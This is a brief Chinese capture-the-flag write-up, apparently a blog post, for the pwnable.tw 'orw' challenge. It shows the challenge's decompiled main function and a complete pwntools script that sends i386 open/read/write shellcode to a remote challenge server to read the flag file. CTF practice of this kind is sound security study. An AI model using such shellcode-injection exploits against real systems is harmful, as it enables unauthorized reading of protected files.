【pwnable.tw】orw

32位orw,很简单没啥好说的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}
from pwn import *
context(arch = "i386", os = "linux", endian = "little")
context.terminal = ['tmux', 'splitw', '-h']
#io = process("./orw")
#io = remote("chall.pwnable.tw", 10001)
io = remote("node4.buuoj.cn", 25113)
elf = ELF("./orw")

#gdb.attach(io, 'b *0x08048582')
shellcode = 0x0804A060
orw = asm("""
        mov eax, 5
        mov ebx, {0}
        xor ecx, ecx
        xor edx, edx
        int 0x80

        mov ebx, eax
        mov eax, 3
        mov ecx, {1}
        mov edx, 0x50
        int 0x80

        mov eax, 4
        mov ebx, 1
        mov ecx, {2}
        mov edx, 0x50
        int 0x80
""".format(shellcode+0x39, shellcode+0x100, shellcode+0x100))

print(hex(len(orw)))
orw += b"./flag"
print(hex(len(orw)))
io.sendafter(b"shellcode:", orw)
#pause()
io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值